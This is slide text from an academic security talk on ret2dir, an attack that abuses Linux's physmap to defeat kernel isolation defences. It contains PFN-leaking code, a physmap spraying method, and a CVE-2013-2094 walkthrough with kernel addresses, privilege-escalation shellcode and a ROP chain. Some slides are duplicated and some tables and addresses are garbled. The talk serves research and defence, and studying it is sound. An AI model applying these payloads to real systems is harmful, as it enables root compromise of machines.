ret2dir: Deconstructing Kernel Isolation

Vasileios P. Kemerlis
Michalis Polychronakakis    Angelos D. Keromytis

Network Security Lab
Department of Computer Science
Columbia University
Ph.D. candidate @Columbia University
Member of the Network Security Lab [http://nsl.cs.columbia.edu]
Research interests [http://www.cs.columbia.edu/~vpk]:

- OS/Kernel self-protection
  - kGuard [USENIX Sec '12]

- High-performance data flow tracking
  - ShadowReplica [CCS '13]
  - TFA [NDSS '12]
  - libdft [VEE '12]

- Offensive research
  - ret2dir [USENIX Sec '14]
  - CellFlood [ESORICS '13]

- Automated software hardening
  - Virtual Partitioning [CCS '12]

- Auditable cloud services
  - CloudFence [RAID '13]
  - Cloudopsy [HCI '13]

- Web app. security
  - ARC [ACNS '12]

- Network/system deception
  - BotSwindler [RAID '10]
  - Wifi Decoys [WiSec '10]
Introduction
- Kernel attacks & defenses
- Problem statement

Attack [ret2dir]
- Background
- Bypassing SMEP/SMAP, PXN, PaX, kGuard

Conclusion
- Recap
The Kernel as a Target

Why care?

Increased focus on kernel exploitation

1. **Exploiting privileged userland processes has become harder** →
   Canaries+ASLR+W\(^X\)+Fortify+RELRO+BIND\_NOW+BPF\_SECCOMP+…
   ▶ Sergey Glazunov (Pwnie Awards) → 14 bugs to takedown Chrome
     “A Tale of Two Pwnies” (http://blog.chromium.org)

2. High-value asset → **Privileged** piece of code
   ▶ Responsible for the integrity of OS security mechanisms

3. Large attack surface → syscalls, device drivers, pseudo fs, …
   ▶ New features & optimizations → **New attack opportunities**
Kernel Vulnerabilities
Current state of affairs (all vendors)

Kernel vulnerabilities per year

Source: National Vulnerability Database (http://nvd.nist.gov)
Kernel Vulnerabilities (cont’d)

Current state of affairs (Linux only)

![Linux kernel vulnerabilities per year](chart)

<table>
<thead>
<tr>
<th>Year</th>
<th># of vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>1999</td>
<td>10</td>
</tr>
<tr>
<td>2000</td>
<td>5</td>
</tr>
<tr>
<td>2001</td>
<td>15</td>
</tr>
<tr>
<td>2002</td>
<td>20</td>
</tr>
<tr>
<td>2003</td>
<td>30</td>
</tr>
<tr>
<td>2004</td>
<td>40</td>
</tr>
<tr>
<td>2005</td>
<td>120</td>
</tr>
<tr>
<td>2006</td>
<td>140</td>
</tr>
<tr>
<td>2007</td>
<td>100</td>
</tr>
<tr>
<td>2008</td>
<td>80</td>
</tr>
<tr>
<td>2009</td>
<td>60</td>
</tr>
<tr>
<td>2010</td>
<td>40</td>
</tr>
<tr>
<td>2011</td>
<td>20</td>
</tr>
<tr>
<td>2012</td>
<td>10</td>
</tr>
<tr>
<td>2013</td>
<td>20</td>
</tr>
</tbody>
</table>

### Linux kernel vulnerabilities per year

- **Kernel ver.**
- **Size**
- **Dev. days**
- **Patches**
- **Changes/hr**
- **Fixes**

<table>
<thead>
<tr>
<th>Kernel ver.</th>
<th>Size</th>
<th>Dev. days</th>
<th>Patches</th>
<th>Changes/hr</th>
<th>Fixes</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.6.11 (03/02/05)</td>
<td>6.6 MLOC</td>
<td>69</td>
<td>3.6K</td>
<td>2.18</td>
<td>79</td>
</tr>
<tr>
<td>3.10 (30/06/13)</td>
<td>16.9 MLOC</td>
<td>63</td>
<td>13.3K</td>
<td>9.02</td>
<td>670</td>
</tr>
</tbody>
</table>

Source: CVE Details ([http://www.cvedetails.com](http://www.cvedetails.com)), The Linux Foundation
**Kernel Vulnerabilities (cont’d)**

**Current state of affairs (Linux only)**

---

**Linux kernel vulnerabilities per year**

<table>
<thead>
<tr>
<th>Year</th>
<th># of vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>1999</td>
<td>10</td>
</tr>
<tr>
<td>2000</td>
<td>10</td>
</tr>
<tr>
<td>2001</td>
<td>20</td>
</tr>
<tr>
<td>2002</td>
<td>20</td>
</tr>
<tr>
<td>2003</td>
<td>30</td>
</tr>
<tr>
<td>2004</td>
<td>30</td>
</tr>
<tr>
<td>2005</td>
<td>40</td>
</tr>
<tr>
<td>2006</td>
<td>50</td>
</tr>
<tr>
<td>2007</td>
<td>60</td>
</tr>
<tr>
<td>2008</td>
<td>70</td>
</tr>
<tr>
<td>2009</td>
<td>80</td>
</tr>
<tr>
<td>2010</td>
<td>90</td>
</tr>
<tr>
<td>2011</td>
<td>100</td>
</tr>
<tr>
<td>2012</td>
<td>110</td>
</tr>
<tr>
<td>2013</td>
<td>120</td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Kernel ver.</th>
<th>Size</th>
<th>Dev. days</th>
<th>Patches</th>
<th>Changes/hr</th>
<th>Fixes</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.6.11 (03/02/05)</td>
<td>6.6 MLOC</td>
<td>69</td>
<td>3.6K</td>
<td>2.18</td>
<td>79</td>
</tr>
<tr>
<td>3.10 (30/06/13)</td>
<td>16.9 MLOC</td>
<td>63</td>
<td>13.3K</td>
<td>9.02</td>
<td>670</td>
</tr>
</tbody>
</table>

Source: CVE Details (http://www.cvedetails.com), The Linux Foundation

vpk@cs.columbia.edu (Columbia University)
Attacking the “Core”

Threats classification

1. Privilege escalation
   - Arbitrary code execution \(\leadsto\) code-injection, ROP, \text{ret2usr}
   - Kernel stack smashing
   - Kernel heap overflows
   - Wild writes, off-by-
   - Poor arg. sanitization

2. Persistent foothold
   - Kernel object hooking (KOH) \(\leadsto\) control-flow hijacking
     - Kernel control data (function ptr., dispatch tbl., return addr.)
     - Kernel code (.text)
   - Direct kernel object manipulation (DKOM) \(\leadsto\) cloaking
     - Kernel non-control data
Attacking the “Core”

Threats classification

1. Privilege escalation
   - Arbitrary code execution $\rightsquigarrow$ code-injection, ROP, \texttt{ret2usr}
   - $\times$ Kernel stack smashing
   - $\times$ Kernel heap overflows
   - $\times$ Wild writes, off-by-$n$
   - $\times$ Poor arg. sanitization

2. Persistent foothold
   - Kernel object hooking (KOH) $\rightsquigarrow$ control-flow hijacking
     - $\times$ Kernel control data (function ptr., dispatch tbl., return addr.)
     - $\times$ Kernel code (.text)
   - Direct kernel object manipulation (DKOM) $\rightsquigarrow$ cloaking
     - $\times$ Kernel non-control data
Attacking the “Core”

Threats classification

1. Privilege escalation
   - Arbitrary code execution $\rightsquigarrow$ code injection, ROP, ret2usr
     - Kernel stack smashing
     - User-after-free, double free, dangling pointers
     - Kernel heap overflows
     - Signedness errors, integer overflows
     - Wild writes, off-by-$n$
     - Race conditions, memory leaks
     - Poor arg. sanitation
     - Missing authorization checks

2. Persistent foothold
   - Kernel object hooking (KOH) $\rightsquigarrow$ control-flow hijacking
     - Kernel control data (function ptr., dispatch tbl., return addr.)
     - Kernel code (.text)
   - Direct kernel object manipulation (DKOM) $\rightsquigarrow$ cloaking
     - Kernel non-control data
Return-to-user (ret2usr) Attacks
What are they?

Attacks against OS kernels with shared kernel/user address space

- Overwrite kernel code (or data) pointers with user space addresses
  - return addr., dispatch tbl., function ptr.,
  - data ptr.
- Payload → Shellcode, ROP payload, tampered-with data structure(s)
  - Placed in user space
  - Executed (referenced) in kernel context
- De facto kernel exploitation technique
  - Facilitates privilege escalation → arbitrary code execution
- http://www.exploit-db.com/exploits/34134/ (21/07/14)
- http://www.exploit-db.com/exploits/131/ (05/12/03)
**ret2usr Attacks (cont’d)**

**Why do they work?**

**Weak address space (kernel/user) separation**

- Shared kernel/process model → **Performance**
  - $\mathbf{\checkmark}$ $\text{cost(mode\_switch)} \ll \text{cost(context\_switch)}$

  - **The kernel is protected from userland → Hardware-assisted isolation**
    - $\mathbf{\times}$ The opposite is **not** true
    - $\mathbf{\times}$ Kernel $\rightsquigarrow$ **ambient authority** (unrestricted access to all memory and system objects)

  - **The attacker completely controls user space memory**
    - Contents & perms.
**ret2usr Defenses**

**State of the art overview**

**✓** **KERNEXEC/UDEREF** → PaX

- 3\textsuperscript{rd}-party Linux patch(es) → x86-64/x86/AArch32 only
- HW/SW-assisted address space separation
  - x86 → Seg. unit (reload \%cs, \%ss, \%ds, \%es)
  - x86-64 → Code instr. & temporary user space re-mapping
  - ARM (AArch32) → ARM domains

**✓** **kGuard** → Kemerlis et al. [USENIX Sec ’12]

- Cross-platform solution that enforces (partial) address space separation
  - x86, x86-64, ARM, ...
  - Linux, \{Free, Net, Open\} BSD, ...
- Builds upon inline monitoring (code intr.) & code diversification (code inflation & CFA motion)

**✓** **SMEP/SMAP, PXN** → Intel, ARM

- HW-assisted address space separation
  - Access violation if priv. code (ring 0) executes/accesses instructions/data from user pages ($U/S = 1$)
- Vendor and model specific (Intel x86/x86-64, ARM)
Defenses (cont’d)

Summary
Deconstructing Kernel Isolation
What is this talk about?

Focus on ret2usr defenses → SMEP/SMAP, PXN, PaX, kGuard
Deconstructing Kernel Isolation
What is this talk about?

Focus on \texttt{ret2usr} defenses $\rightarrow$ \texttt{SMEP/SMAP, PXN, PaX, kGuard}

- Can we subvert them?
  - Force the kernel to execute/access user-controlled code/data
- Conflicting design choices or optimizations?
  - “Features” that weaken the (strong) separation of address spaces
Deconstructing Kernel Isolation
What is this talk about?

Focus on \textit{ret2usr} defenses $\rightarrow$ SMEP/SMAP, PXN, PaX, kGuard

- Can we subvert them?
  - Force the kernel to execute/access user-controlled code/data
- Conflicting design choices or optimizations?
  - “Features” that weaken the (strong) separation of address spaces

Return-to-direct-mapped memory (\textit{ret2dir})

- Attack against hardened (Linux) kernels
  - Bypasses \textbf{all} existing \textit{ret2usr} schemes
  - $\forall \text{ret2usr exploit} \implies \exists \text{ret2dir exploit}$
fundamental building block of dynamic kernel memory (kmalloc, SLAB/SLUB)

1. (De)allocate kernel memory without altering page tables
   - Minimum latency in fast-path ops. (e.g., kmalloc in ISR)
   - Less TLB pressure $\rightarrow$ No TLB shootdown(s) needed

2. Virtually contiguous memory $\rightarrow$ Physically contiguous (guaranteed)
   - Directly assign kmalloc-ed memory to devices for DMA
   - Increased cache performance

3. Page frame accounting made easy
   - $\text{virt}(\text{PFN}) \sim \text{PHYS_OFFSET} + (\text{PFN} \ll \text{PAGESHIFT})$
   - $\text{PFN}(\text{VADDR}) \sim (\text{VADDR} - \text{PHYS_OFFSET}) \gg \text{PAGESHIFT}$
physmap (cont’d)
Location, size, and access rights

<table>
<thead>
<tr>
<th>Architecture</th>
<th>PHYS_OFFSET</th>
<th>Size</th>
<th>Prot.</th>
</tr>
</thead>
<tbody>
<tr>
<td>x86 (3G/1G)</td>
<td>0xC0000000</td>
<td>891MB</td>
<td>RW</td>
</tr>
<tr>
<td>x86 (2G/2G)</td>
<td>0x80000000</td>
<td>1915MB</td>
<td>RW</td>
</tr>
<tr>
<td>x86 (1G/3G)</td>
<td>0x40000000</td>
<td>2939MB</td>
<td>RW</td>
</tr>
<tr>
<td>AArch32 (3G/1G)</td>
<td>0xC0000000</td>
<td>760MB</td>
<td>RW(X)</td>
</tr>
<tr>
<td>AArch32 (2G/2G)</td>
<td>0x80000000</td>
<td>1784MB</td>
<td>RW(X)</td>
</tr>
<tr>
<td>AArch32 (1G/3G)</td>
<td>0x40000000</td>
<td>2808MB</td>
<td>RW(X)</td>
</tr>
<tr>
<td>x86-64</td>
<td>0xFFFF880000000000</td>
<td>64TB</td>
<td>RW(X)</td>
</tr>
<tr>
<td>AArch64</td>
<td>0xFFFFFFFFC0000000000</td>
<td>256GB</td>
<td>RW(X)</td>
</tr>
</tbody>
</table>

< v3.14
< v3.9
The **ret2dir** Attack

Basic assumptions

### Threat model

- **Vulnerability that allows overwriting kernel** code (or data) **pointers with user-controlled values**
  - CVE-2013-0268, CVE-2013-2094, CVE-2013-1763
  - CVE-2010-4258, CVE-2010-3904, CVE-2010-3437
  - CVE-2010-3301, CVE-2010-2959, ...
- **Hardened Linux kernel**
  - SMEP/SMAP, PXN, KERNEXEC/UDEREF, kGuard  \(\rightarrow\) **No ret2usr**
  - KASLR, W^X, stack canaries, SLAB red zones
  - `const` dispatch tables (IDT, GDT, syscall)
  - `.rodata` sections
  - ...

vpk@cs.columbia.edu (Columbia University)
The *ret2dir* Attack (cont’d)

*physmap* is considered harmful

- Physical memory is allocated in user space **lazily** → Page faults
  1. Demand paging
     - brk, [stack]
     - mmap/mmap2, mremap, shmat
     - Swapping (swapped in pages)
  2. Copy-on-write (COW)
     - fork, clone
The \texttt{ret2dir} Attack (cont’d)

\texttt{physmap} is considered harmful

- Physical memory is allocated in user space \texttt{lazily} \rightarrow Page faults
  1. Demand paging
     - \texttt{brk}, [stack]
     - \texttt{mmap/mmap2}, \texttt{mremap}, \texttt{shmat}
     - Swapping (swapped in pages)
  2. Copy-on-write (COW)
     - \texttt{fork}, \texttt{clone}

\texttt{physmap} \rightsquigarrow \textbf{Address aliasing}

\textit{Given the existence of} \texttt{physmap}, \textit{whenever the kernel (buddy allocator) maps a page frame to user space, it effectively creates an alias (synonym) of user content in kernel space!}
The \texttt{ret2dir} Attack (cont’d)

Operation

- Corrupted Code Pointer
- Corrupted Data Pointer
- \texttt{physmap}
- Controlled Data Structure
- Controlled Code Pointer
- Shellcode
- Kernel Space
- User Space
- Controlled Data Structure
- Controlled Code Pointer
- Shellcode
- Virtual Memory
- Physical Memory
- Controlled Data Structure
- Controlled Code Pointer
- Shellcode
The \texttt{ret2dir} Attack (cont'd)

The devil is (always) in the detail

Problems

1. Pinpoint the \texttt{exact} location of a synonym of user-controlled data (payload) within the \texttt{physmap} area

2. When \texttt{sizeof(physmap)} < \texttt{sizeof(RAM)} \rightarrow Force a synonym of payload to \texttt{emerge} inside the \texttt{physmap} area

3. When \texttt{sizeof(payload)} > \texttt{PAGE\_SIZE} \rightarrow Force synonym pages to be \texttt{contiguous} in \texttt{physmap}
Locating Synonyms
Leaking PFNs via /proc (1/2)

\( P_1: \) Given a user space virtual address (\( uaddr \)) \( \rightarrow \) Synonym in kernel space (\( kaddr \))

- Usual suspect: /proc (procfs)

✓ /proc/<pid>/pagemap \( \rightarrow \) Page table examination (from user space) for debugging purposes (since v2.6.25)

- 64-bit value per page \( \rightarrow \) Indexed by virtual page number
  - [0:54] \( \rightarrow \) Page frame number (PFN)
  - [63] \( \rightarrow \) Page present

PFN (**uaddr**)

```c
seek((uaddr >> PAGE_SHIFT) * sizeof(uint64_t));
read(&v, sizeof(uint64_t));
if (v & (1UL << 63))
  PFN = v & ((1UL << 55) - 1);
```
Locating Synonyms (cont’d)
Leaking PFNs via /proc (2/2)

\[ F_1 : kaddr = PHYS\_OFFSET + PAGE\_SIZE \times (PFN(uaddr) - PFN\_MIN) \]

- **PHYS\_OFFSET** → Starting address of *physmap* in kernel space
- **PFN\_MIN** → 1\(^{st}\) PFN (e.g., in ARM Versatile RAM starts at 0xF0000000; PFN\_MIN = 0xF0000)

<table>
<thead>
<tr>
<th>Architecture</th>
<th>PHYS_OFFSET</th>
</tr>
</thead>
<tbody>
<tr>
<td>x86</td>
<td></td>
</tr>
<tr>
<td>(3G/1G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>(2G/2G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>(1G/3G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>AArch32</td>
<td></td>
</tr>
<tr>
<td>(3G/1G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>(2G/2G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>(1G/3G)</td>
<td>0x00000000</td>
</tr>
<tr>
<td>x86-64</td>
<td>0xFFFF880000000000</td>
</tr>
<tr>
<td>AArch64</td>
<td>0xFFFFFFFFC00000000</td>
</tr>
</tbody>
</table>
Ensuring the Presence of Synonyms

What if $\text{sizeof(physmap)} < \text{sizeof(RAM)}$?

$P_2$: Force a synonym of payload to emerge inside $\text{physmap}$

- $\text{PFN\_MAX} = \text{PFN\_MIN} + \min(\text{sizeof(physmap)}, \text{sizeof(RAM)}) / \text{PAGE\_SIZE}$
- If $\text{PFN(uaddr)} > \text{PFN\_MAX} \rightarrow \# \text{synonym of uaddr in physmap}$

<table>
<thead>
<tr>
<th>Architecture</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>x86 (3G/1G)</td>
<td>891MB</td>
</tr>
<tr>
<td>(2G/2G)</td>
<td>1915MB</td>
</tr>
<tr>
<td>(1G/3G)</td>
<td>2939MB</td>
</tr>
<tr>
<td>AArch32 (3G/1G)</td>
<td>760MB</td>
</tr>
<tr>
<td>(2G/2G)</td>
<td>1784MB</td>
</tr>
<tr>
<td>(1G/3G)</td>
<td>2808MB</td>
</tr>
</tbody>
</table>
Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

- **ZONE_DMA ≤ 16MB**
- **ZONE_DMA < ZONE_NORMAL ≤ min(sizeof(physmap),sizeof(RAM))**
- **ZONE_HIGHMEM > ZONE_NORMAL**
  - /proc/buddyinfo, /proc/zoneinfo

Source: Understanding the Linux Kernel (2nd ed.)
Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

- Ordering: \( \text{ZONE_DMA} < \cdot \text{ZONE_NORMAL} < \cdot \text{ZONE_HIGHMEM} \)
- User space gets page frames from \( \text{ZONE_HIGHMEM} \)
  - Preserve direct-mapped memory for dynamic requests from the kernel
Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

- Ordering: ZONE_DMA < ZONE_NORMAL < ZONE_HIGHMEM

- User space gets page frames from ZONE_HIGHMEM
  - Preserve direct-mapped memory for dynamic requests from the kernel

Q: Can we force the zone allocator to provide page frames in user space from ZONE_{NORMAL, DMA}?
Ensuring the Presence of Synonyms (cont’d)

What if \( \text{sizeof(physmap)} < \text{sizeof(RAM)} \)?

\( P_2 \): Force a synonym of payload to emerge inside \( \text{physmap} \)

1. Allocate a (big) chunk of \( \text{RW} \) memory in user space \( \rightarrow M \)
   - \( \text{mmap/mmap2, shmat, ...} \)

2. \( \forall \) page \( P \in M \rightarrow \text{Trigger a write fault (or MAP_POPULATE)} \)

3. If \( \exists P \in M, PFN(P) \leq PFN_{MAX} \)
   - \( \text{mlock(P)} \)
   - \( \text{Compute kaddr using } F_1(P) \)

4. Else, goto 1

- If \( \text{sizeof(uspace)} \ll \text{sizeof(RAM)} \rightarrow \text{Spawn additional process(es)} \)
- \( \text{Memory pressure helps!} \)
Locating Contiguous Synonyms

What if sizeof(payload) > PAGE_SIZE?

$P_3$: Force synonym pages to be contiguous in physmap

1. Allocate a (big) chunk of RW memory in user space → $M$
   - `mmap/mmap2, shmat, ...`
2. $\forall$ page $P \in M$ → Trigger a write fault (or MAP_POPULATE)
3. If $\exists P_i, P_j \in M$, $PFN(P_j) = PFN(P_i) + 1$
   - `mlock(P_i, P_j)`
   - Split the payload in $P_i$ & $P_j$ (synonyms of $P_i$, $P_j$ are contiguous)
   - Compute kaddr using $F_1(\min(P_i, P_j))$
4. Else, goto 1

- $PFN(0xBEEF000) = 0x2E7C2, 0xFEEB000 = 0x2E7C3$
- ~64MB apart in user space → Contiguous in physmap
  ([0xEE7C2000:0xEE7C3FFF])
Locating Synonyms

ret2dir without access to /proc/<pid>/pagemap

Q: What ifPFN information is not available?
Locating Synonyms

*ret2dir without access to /proc/<pid>/pagemap*

Q: What ifPFN information is not available?

**physmap spraying** → Very similar to how heap spraying works

1. Pollute **physmap** with **aligned** copies of the exploit payload
   - Maximize the exploit foothold on **physmap**
2. Pick an arbitrary, page-aligned **physmap** address and use it as the synonym of the exploit payload
The attacking process copies the exploit payload into $N$ physmap-resident pages.

The probability $P$ that an arbitrarily chosen, page-aligned physmap address will contain the exploit payload is: $P = N / (PFN_{\text{MAX}} - PFN_{\text{MIN}})$.
Locating Synonyms (cont’d)

The attacking process copies the exploit payload into $N$ physmap-resident pages.

The probability $P$ that an arbitrarily chosen, page-aligned physmap address will contain the exploit payload is:

$$P = \frac{N}{(PFN_{\text{MAX}} - PFN_{\text{MIN}})}$$

$max(P)$

1. $max(N)$

2. $min(PFN_{\text{MAX}} - PFN_{\text{MIN}})$
physmap Spraying
max(N)

1. Allocate a (big) chunk of RW memory in user space → M
   ▶ mmap/mmap2, shmat, ...

2. ∀ page P ∈ M → Copy the exploit payload in P and trigger a write fault (or MAP_POPULATE)

3. “Emulate” mlock → Prevent swapping
   ▶ Start a set of background threads that repeatedly mark payload pages as dirty (e.g., by writing a single byte)

4. Check RSS (foothold in physmap) → getrusage

5. goto 1, unless \( RSS < RSS_{prev} \)

- If sizeof(uspace) ≪ sizeof(RAM) → Spawn additional process(es)
physmap Spraying (cont’d)

\[ \text{min}(\text{PFN\_MAX} - \text{PFN\_MIN}) \]

Reduce the set of target pages in \text{physmap} → \text{physmap signatures}

- x86
  - Page frame 0 is used by BIOS → HW config. discovered during POST
  - [0xA0000:0xFFFFF] → Memory-mapped RAM of video cards

- x86-64
  - 0x1000000 → Kernel .text, .rodata, data, .bss

- AArch32
  - ...

- AArch64
  - ...

ret2dir
ret2dir Walkthrough
CVE-2013-2094 internals (1/2)

```c
struct perf_event_attr {
    ...__u64 config;
    ...}

static int perf_swevent_init(struct perf_event *event) {
    int event_id = event->attr.config;
    ...
    if (event_id >= PERF_COUNT_SW_MAX)
        return -ENOENT;
    ...
    static_key_slow_inc(&perf_swevent_enabled[event_id]);
    ...
}
```

kernel/events/core.c (Linux)
ret2dir Walkthrough (cont’d)
CVE-2013-2094 internals (2/2)

- struct static_key perf_swevent_enabled[]
  - sizeof(struct static_key) → 24 (LP64), 12 (ILP32)
    struct static_key {
      atomic_t enabled;
      struct jump_entry *entries;
      struct static_key_mod *next;
    };

- static_key_slow_inc() → .enabled += 1
**ret2dir Walkthrough (cont’d)**

**Pwning like a boss (1/3)**

- **Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64)**
- `&perf_swevent_enabled[]` → `0xFFFFFFFF81EF7180 (kernel.data)`
- `min(event_id) → 0x80000000 (2GB)`

---

![Memory Map Diagram]

```
<table>
<thead>
<tr>
<th>Memory Region</th>
<th>Address Range</th>
</tr>
</thead>
<tbody>
<tr>
<td>unused</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>fixmap/vsyscall area</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>modules</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>kernel image</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>vmemmap space</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>unused</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>vmalloc arena</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>unused</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>phsysmap (direct mapping of all physical memory)</td>
<td>ffffffff80000000</td>
</tr>
<tr>
<td>unused</td>
<td>ffffffff80000000</td>
</tr>
</tbody>
</table>
```

---

*Corrupt a code pointer (`fptr`)*
- `fptr` kernel image (`.data` section)
- `&fptr < 0xFFFFFFFF81EF7180`
- `(0xFFFFFFFF81EF7180 - &fptr)` multiple of 24

---

*Corrupt a file pointer (`fptr2`)*
- `&fptr2 < 0xFFFFFFFF81EF7180`
- `(0xFFFFFFFF81EF7180 - &fptr2)` multiple of 24

---

*Corrupt a page table pointer (`ptptr`)*
- `&ptptr < 0xFFFFFFFF81EF7180`
- `(0xFFFFFFFF81EF7180 - &ptptr)` multiple of 24
Pwning like a boss (1/3)

- Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64)
- `&perf_swevent_enabled[] → 0xFFFFFFFF81EF7180 (kernel.data)`
- `min(event_id) → 0x80000000 (2GB)`

- Corrupt a code pointer (`fptr`)
  - `fptr ∈ kernel image (.data section)`
  - `&fptr < 0xFFFFFFFF81EF7180`
  - `(0xFFFFFFFF81EF7180 - &fptr) → multiple of 24`
ret2dir Walkthrough (cont’d)

Pwning like a boss (1/3)

- Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64)
- &perf_swevent_enabled[] → 0xFFFFFFFF81EF7180 (kernel .data)
- min(event_id) → 0x80000000 (2GB)

- Corrupt a code pointer (fptr)
  - fptr ∈ kernel image (.data section)
  - &fptr < 0xFFFFFFFF81EF7180
  - (0xFFFFFFFF81EF7180 - &fptr) → multiple of 24

✓ &apparmor_ops.shm_shmat → 0xFFFFFFFF81C71AA8
ret2dir Walkthrough (cont’d)

Pwning like a boss (2/3)

- `perf_swevent_enabled[−110153] = &apparmor_ops.shm_shmat`
- `apparmor_ops.shm_shmat = 0xFFFFFFFF812DB050 (&cap_shm_shmat)`
- `static_key_slow_inc()` will increase `apparmor_ops.shm_shmat (+1)`

```
$ perf swevent_enabled[] = &apparmor_ops.shm_shmat
$ apparmor_ops.shm_shmat = 0xFFFFFFFF812DB050 (&cap_shm_shmat)
$ static_key_slow_inc() will increase apparmor_ops.shm_shmat (+1)
```

### Diagram

- `perf_swevent_enabled[]`
- `apparmor_ops.shm_shmat`
- `.data (kernel)`
- `call *%rsi`
- `cap_shm_shmat`
- `.text (kernel)`
- `shellcode: pop %rax ... ret`
- `physmap`

---

vpk@cs.columbia.edu (Columbia University)
ret2dir Walkthrough (cont’d)

Pwning like a boss (2/3)

- `perf_swevent_enabled[-110153] = &apparmor_ops.shm_shmat`
- `apparmor_ops.shm_shmat = 0xFFFFFFFF812DB050 (&cap_shm_shmat)`

× static_key_slow_inc() will increase `apparmor_ops.shm_shmat (+1)`

▶ “The Great Escape”
  ▶ Code-reuse to the rescue
    ▶ `0xFFFFFFFF81304E62 → call *%rsi`
    ▶ `0xFFFFFFFF81304E62 - 0xFFFFFFFF812DB050 = 0x29E12 (171538)`

```
shmat(int shmid, const void *shmaddr, int shmflg)
```
Attack plan

1. Map the exploit payload in `physmap`
   - 0x7f2781998000 ↔ 0xffffffff5b3000

2. `perf_event_open(&attr, 0, -1, -1, 0)`
   - attr.config = 0xfffffffff51b7
   - 0x29E12 (171538) times

3. `shmat(shmid, 0xffffffff800075b3000, 0)`

```assembly
pop %rax
push %rbp
mov %rsp, %rbp
push %rbx
mov $<pkcred>, %rbx
mov $<ccreds>, %rax
mov $0x0, %rdi
callq *%rax
mov %rax, %rdi
callq *%rbx
mov $0x0, %rax
pop %rbx
leaveq
ret
```
**ret2dir** Walkthrough (cont’d)

Pwning like a boss (3/3)

**Attack plan**

1. Map the exploit payload in *physmap*
   - 0x7f2781998000 ↔ 0xffffffff880075b3000

2. `perf_event_open(&attr, 0, -1, -1, 0)`
   - `attr.config = 0xfffffffffee51b7`
   - 0x29E12 (171538) times

3. `shmat(shmid, 0xffffffff880075b3000, 0)`

```
pop %rax
push %r bp
mov %rsp, %rbp
push %rbx
mov $<pkcred>, %rbx
mov $<ccreds>, %rax
mov $0x0, %rdi
callq *%rax
mov %rax, %rdi
callq *%rbx
mov $0x0, %rax
pop %rbx
leaveq
ret
```
**ret2dir Walkthrough (cont’d)**

**What if physmap is non-executable (1/3)**

- **Ubuntu 12.04 LTS, 3.5.0-18-generic (i386)**
- `&perf_swevent_enabled[] → 0xC1A57A60 (kernel .data)`
- `min(event_id) → 0x80000000 (2GB)`

- **Corrupt a code pointer (fptr)**
  - `fptr ∈ kernel image (.data section)`
  - `&fptr < 0xC1A57A60`
  - `(0xC1A57A60 - &fptr) → multiple of 12`

- `&default_security_ops.shm_shmat → 0xC189ABE4`
ret2dir Walkthrough (cont’d)
What if physmap is non-executable (2/3)

- perf_swevent_enabled[-151861] = &default_security_ops.shm_shmat
- default_security_ops.shm_shmat = 0xC12643B0 (&cap_shm_shmat)
- static_key_slow_inc() will increase apparmor_ops.shm_shmat (+1)

➢ “The Great Escape”
  ▶ Code-reuse to the rescue
      ▶ 0xC129ADE7 → call *-0x2c(%edx)
      ▶ 0xC129ADE7 - 0xC12643B0 = 0x36A37 (223799)

shmat(int shmid, const void *shmaddr, int shmflg)
**ret2dir** Walkthrough (cont’d)

What if **physmap** is non-executable (3/3)

---

**Attack plan**

1. Map the exploit payload in **physmap**
   - \(0xb77d1000 \leftrightarrow 0xf046a000\)
2. `perf_event_open(&attr, ...)`
   - `attr.config = 0xffffdaecb`
   - \(0x36A37\) (223799) times
3. `shmat(shmid, 0xf046a000, 0)`

---

```c
/* stack pivoting */
0xc10e18d5 /* xchg %esp, %edx ... # ret */
...

/* save orig. esp */
0xc11a7244 /* pop %eax # ret */

<SCTCH_SPACE_ADDR>
0xc127547f /* mov %edx, (%eax) # ret */
/* commit_creds(&init_cred) */
0xc11a7244 /* pop %eax # ret */
0xc1877e60 /* addr. of init_cred */
0xc106d230 /* addr. of commit_creds' */

/* stack restoration */
0xc11a7244 /* pop %eax # ret */

<SCTCH_SPACE_ADDR>
0xc1031a51 /* mov (%eax), %eax # ret */
0xc103fe05 /* inc %eax # ret */
0xc103fe05 /* inc %eax # ret */
0xc103fe05 /* inc %eax # ret */
0xc103fe05 /* inc %eax # ret */
0xc103fe05 /* inc %eax # ret */
0xc100a279 /* xchg %esp, %eax # ret */
```
Attack [ret2dir]  Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

What if physmap is non-executable (3/3)

Attack plan

1. Map the exploit payload in physmap
   - 0xb77d1000 ↔ 0xf046a000
2. perf_event_open(&attr, ...)
   - attr.config = 0xffffdaecb
   - 0x36A37 (223799) times
3. shmat(shmid, 0xf046a000, 0)

GAME OVER
Attack [ret2dir]

Bypassing SMEP/SMAP, PXN, PaX, kGuard

DEMO
Evaluation

ret2dir effectiveness

<table>
<thead>
<tr>
<th>EDB-ID</th>
<th>Arch.</th>
<th>Kernel</th>
<th>Payload</th>
<th>Protection</th>
<th>Bypassed</th>
</tr>
</thead>
<tbody>
<tr>
<td>26131</td>
<td>x86/x86-64</td>
<td>3.5/3.8</td>
<td>ROP/SHELLCODE</td>
<td>KERNEXEC</td>
<td>UDEREF</td>
</tr>
<tr>
<td>24746</td>
<td>x86-64</td>
